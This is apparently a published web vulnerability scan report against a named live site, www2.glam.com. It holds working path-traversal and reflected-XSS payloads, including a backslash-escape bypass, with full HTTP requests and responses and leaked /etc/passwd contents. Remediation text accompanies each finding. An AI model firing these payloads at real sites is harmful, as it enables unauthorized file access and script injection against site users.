XSS, File Path Traversal, CWE-79, www2.glam.com, CWE-23, DORK,

The mName parameter is vulnerable to path traversal attacks, enabling read access to arbitrary files on the server.

The payload viewAdJs../../../../../../../../etc/passwd%00viewAdJs was submitted in the mName parameter. The requested file was returned in the application's response.

Issue background

File path traversal vulnerabilities arise when user-controllable data is used within a filesystem operation in an unsafe manner. Typically, a user-supplied filename is appended to a directory prefix in order to read or write the contents of a file. If vulnerable, an attacker can supply path traversal sequences (using dot-dot-slash characters) to break out of the intended directory and read or write files elsewhere on the filesystem.

This is usually a very serious vulnerability, enabling an attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries.

Issue remediation

Ideally, application functionality should be designed in such a way that user-controllable data does not need to be passed to filesystem operations. This can normally be achieved either by referencing known files via an index number rather than their name, and by using application-generated filenames to save user-supplied file content.

If it is considered unavoidable to pass user-controllable data to a filesystem operation, three layers of defence can be employed to prevent path traversal attacks:

User-controllable data should be strictly validated before being passed to any filesystem operation. In particular, input containing dot-dot sequences should be blocked.
After validating user input, the application can use a suitable filesystem API to verify that the file to be accessed is actually located within the base directory used by the application. In Java, this can be achieved by instantiating a java.io.File object using the user-supplied filename and then calling the getCanonicalPath method on this object. If the string returned by this method does not begin with the name of the start directory, then the user has somehow bypassed the applicationís input filters, and the request should be rejected. In ASP.NET, the same check can be performed by passing the user-supplied filename to the System.Io.Path.GetFullPath method and checking the returned string in the same way as described for Java.
The directory used to store files that are accessed using user-controllable data can be located on a separate logical volume to other sensitive application and operating system files, so that these cannot be reached via path traversal attacks. In Unix-based systems, this can be achieved using a chrooted filesystem; on Windows, this can be achieved by mounting the base directory as a new logical drive and using the associated drive letter to access its contents.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs../../../../../../../../etc/passwd%00viewAdJs&affiliateId=0&adSize=300x85 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://www.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=234602824.1427327283.1301924540.1301924540.1301924540.1; __utmb=234602824; __utmc=234602824; __utmz=234602824.1301924540.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-38348873-1301924539870

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Cache-Control: max-age=3600
Date: Mon, 04 Apr 2011 13:42:47 GMT
Connection: close
Content-Length: 2011

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdow
...[SNIP]...
ucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
pcap:x:77:77::/var/arpwa
...[SNIP]...

2. Cross-site scripting (reflected) previous next
There are 3 instances of this issue:

/app/site/affiliate/viewChannelModule.act [adSize parameter]
/app/site/affiliate/viewChannelModule.act [glam_sid cookie]
/app/site/affiliate/viewChannelModule.act [qcsegs cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

2.1. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [adSize parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The value of the adSize request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 56523'%3balert(1)//d950a68ee49 was submitted in the adSize parameter. This input was echoed as 56523';alert(1)//d950a68ee49 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=0&adSize=300x8556523'%3balert(1)//d950a68ee49 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://www.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=234602824.1427327283.1301924540.1301924540.1301924540.1; __utmb=234602824; __utmc=234602824; __utmz=234602824.1301924540.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-38348873-1301924539870

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: glam_cookie_sid=112910130192457862311; expires=Wed, 03 Apr 2013 13:42:58 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 04 Apr 2011 13:42:58 GMT
Connection: close
Content-Length: 59412

// 
// 

window.glam_session = new Object();
window.glam_session.c
...[SNIP]...
sion.region_code='DC';

window.glam_session.user_agent_type='2';

function GlamProcessScriptParams()
{

}

window.glam_affiliate_id = '0';
window.glam_zone = '';
window.glam_ad_size = '300x8556523';alert(1)//d950a68ee49';
window.glam_status = '';
window.glam_status = (window.glam_status==''?null:window.glam_status);

/*
*/

function GlamShowCustomDefaultAd(zone, adSize) {}
window.glam_affiliate_info = new Array();
...[SNIP]...

2.2. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [glam_sid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The value of the glam_sid cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5d730\'%3balert(1)//9d9ffe66182 was submitted in the glam_sid cookie. This input was echoed as 5d730\\';alert(1)//9d9ffe66182 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=0&adSize=300x250 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://www.glam.com/register
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1301924540.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-38348873-1301924539870; glam_sid=11582130192453940115d730\'%3balert(1)//9d9ffe66182; __utma=234602824.1427327283.1301924540.1301924540.1301924588.2; __utmc=234602824; __utmb=234602824

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: bkpix2=1; expires=Mon, 04 Apr 2011 19:18:42 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 04 Apr 2011 13:45:22 GMT
Connection: close
Content-Length: 60240

// 
// 

window.glam_session = new Object();
window.glam_session.country_code = null;
/*
*/

window.glam_session.edge = true;

window.glam_session.glam_sid='11582130192453940115d730\\';alert(1)//9d9ffe66182';

window.glam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;

window.glam_session.user_agent_type='2';

docu
...[SNIP]...

2.3. http://www2.glam.com/app/site/affiliate/viewChannelModule.act [qcsegs cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The value of the qcsegs cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1b260\'%3balert(1)//ef00124e4a was submitted in the qcsegs cookie. This input was echoed as 1b260\\';alert(1)//ef00124e4a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=640610&adSize=300x250,300x600 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://family.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1301924540.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-38348873-1301924539870; glam_sid=1158213019245394011; __utma=234602824.1427327283.1301924540.1301924540.1301924588.2; __utmc=234602824; bkpix2=1; qcsegs=D1b260\'%3balert(1)//ef00124e4a; __utmb=234602824

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 04 Apr 2011 13:47:36 GMT
Connection: close
Content-Length: 53689

// 
// 

window.glam_session = new Object();
window.glam_session.country_code = null;
/*
*/

window.glam_session.edge = true;

window.glam_session.glam_sid='1158213019245394011';

window.glam_session.qcsegs='D1b260\\';alert(1)//ef00124e4a';

window.glam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;

window.glam_session.user_agent_type='2';

fu
...[SNIP]...

3. Flash cross-domain policy previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www2.glam.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.3 (CentOS)
Last-Modified: Thu, 16 Sep 2010 21:08:11 GMT
ETag: "6b8007-cc-49066d7f404c0"
Accept-Ranges: bytes
Content-Length: 204
Content-Type: text/xml
Date: Mon, 04 Apr 2011 13:42:20 GMT
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy
...[SNIP]...

4. Cookie scoped to parent domain previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

glam_cookie_sid=112619130192453956011; expires=Wed, 03 Apr 2013 13:42:19 GMT; path=/; domain=.glam.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=0&adSize=970x66 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://www.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=234602824.1427327283.1301924540.1301924540.1301924540.1; __utmb=234602824; __utmc=234602824; __utmz=234602824.1301924540.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-38348873-1301924539870

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: glam_cookie_sid=112619130192453956011; expires=Wed, 03 Apr 2013 13:42:19 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 04 Apr 2011 13:42:19 GMT
Connection: close
Content-Length: 59384

// 
// 

window.glam_session = new Object();
window.glam_session.c
...[SNIP]...

5. Cross-domain Referer leakage previous next
There are 2 instances of this issue:

/app/site/affiliate/viewChannelModule.act
/app/site/affiliate/viewChannelModule.act

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

5.1. http://www2.glam.com/app/site/affiliate/viewChannelModule.act previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The page was loaded from a URL containing a query string:

http://www2.glam.com/app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=0&adSize=300x250

The response contains the following links to other domains:

http://pixel.quantserve.com/seg/r;a=p-874AVp33Bbtkg;rand=18254130192466981677;*http://www22.glam.com/cTagsImgCmd.act?gtid=5000000440&gcmd=setc&gexpires=172800&gname=qcsegs&gvalue=!qcsegs
http://tags.bluekai.com/site/2312
http://tags.bluekai.com/site/2312?ret=html

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=0&adSize=300x250 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://www.glam.com/register
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1301924540.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-38348873-1301924539870; glam_sid=1158213019245394011; __utma=234602824.1427327283.1301924540.1301924540.1301924588.2; __utmc=234602824; __utmb=234602824

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: bkpix2=1; expires=Mon, 04 Apr 2011 19:17:49 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 04 Apr 2011 13:44:29 GMT
Connection: close
Content-Length: 60210

// 
// 

window.glam_session = new Object();
window.glam_session.country
...[SNIP]...
lam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;

window.glam_session.user_agent_type='2';

document.write('<img style="display:none;" src="http://pixel.quantserve.com/seg/r;a=p-874AVp33Bbtkg;rand=18254130192466981677;*http://www22.glam.com/cTagsImgCmd.act?gtid=5000000440&gcmd=setc&gexpires=172800&gname=qcsegs&gvalue=!qcsegs" height="0" width="0" border="0">');

var bkimg = new Image();
bkimg.src='http://tags.bluekai.com/site/2312';
document.write('<iframe height="0" width="0" frameborder="0" style="position:absolute;visibility:hidden;" src="http://tags.bluekai.com/site/2312?ret=html"></iframe>');
document.write('<img style="display:none;" src="http://tags.bluekai.com/site/2312" height="0" width="0" border="0">');

function GlamProcessScriptParams()
{

}

window.glam_affiliate_id = '0';
window.glam_zone = '';
window.glam_ad_size = '300x250';
window.glam_status = '';
window.glam_status = (window
...[SNIP]...

5.2. http://www2.glam.com/app/site/affiliate/viewChannelModule.act previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The page was loaded from a URL containing a query string:

http://www2.glam.com/app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=0&adSize=300x250

The response contains the following links to other domains:

http://pixel.quantserve.com/seg/r;a=p-874AVp33Bbtkg;rand=74705130192459472389;*http://www22.glam.com/cTagsImgCmd.act?gtid=5000000440&gcmd=setc&gexpires=172800&gname=qcsegs&gvalue=!qcsegs
http://tags.bluekai.com/site/2312
http://tags.bluekai.com/site/2312?ret=html

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=0&adSize=300x250 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://www.glam.com/register
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1301924540.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-38348873-1301924539870; glam_sid=1158213019245394011; __utma=234602824.1427327283.1301924540.1301924540.1301924588.2; __utmc=234602824; __utmb=234602824

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: bkpix2=1; expires=Mon, 04 Apr 2011 19:16:34 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 04 Apr 2011 13:43:14 GMT
Connection: close
Content-Length: 60118

// 
// 

window.glam_session = new Object();
window.glam_session.country
...[SNIP]...
lam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;

window.glam_session.user_agent_type='2';

document.write('<img style="display:none;" src="http://pixel.quantserve.com/seg/r;a=p-874AVp33Bbtkg;rand=74705130192459472389;*http://www22.glam.com/cTagsImgCmd.act?gtid=5000000440&gcmd=setc&gexpires=172800&gname=qcsegs&gvalue=!qcsegs" height="0" width="0" border="0">');

var bkimg = new Image();
bkimg.src='http://tags.bluekai.com/site/2312';
document.write('<iframe height="0" width="0" frameborder="0" style="position:absolute;visibility:hidden;" src="http://tags.bluekai.com/site/2312?ret=html"></iframe>');
document.write('<img style="display:none;" src="http://tags.bluekai.com/site/2312" height="0" width="0" border="0">');

function GlamProcessScriptParams()
{

}

window.glam_affiliate_id = '0';
window.glam_zone = '';
window.glam_ad_size = '300x250';
window.glam_status = '';
window.glam_status = (window
...[SNIP]...

6. Cookie without HttpOnly flag set previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

glam_cookie_sid=112619130192453956011; expires=Wed, 03 Apr 2013 13:42:19 GMT; path=/; domain=.glam.com;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

Response

7. Robots.txt file previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.glam.com
Path:	/app/site/affiliate/viewChannelModule.act

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www2.glam.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.3 (CentOS)
Last-Modified: Mon, 22 Jun 2009 18:04:04 GMT
ETag: "250088-1a-46cf3b3120d00"
Accept-Ranges: bytes
Content-Length: 26
Content-Type: text/plain; charset=UTF-8
Date: Mon, 04 Apr 2011 13:42:21 GMT
Connection: close

User-agent: *
Disallow: /

Report generated by XSS.CX at Mon Apr 04 11:02:11 CDT 2011.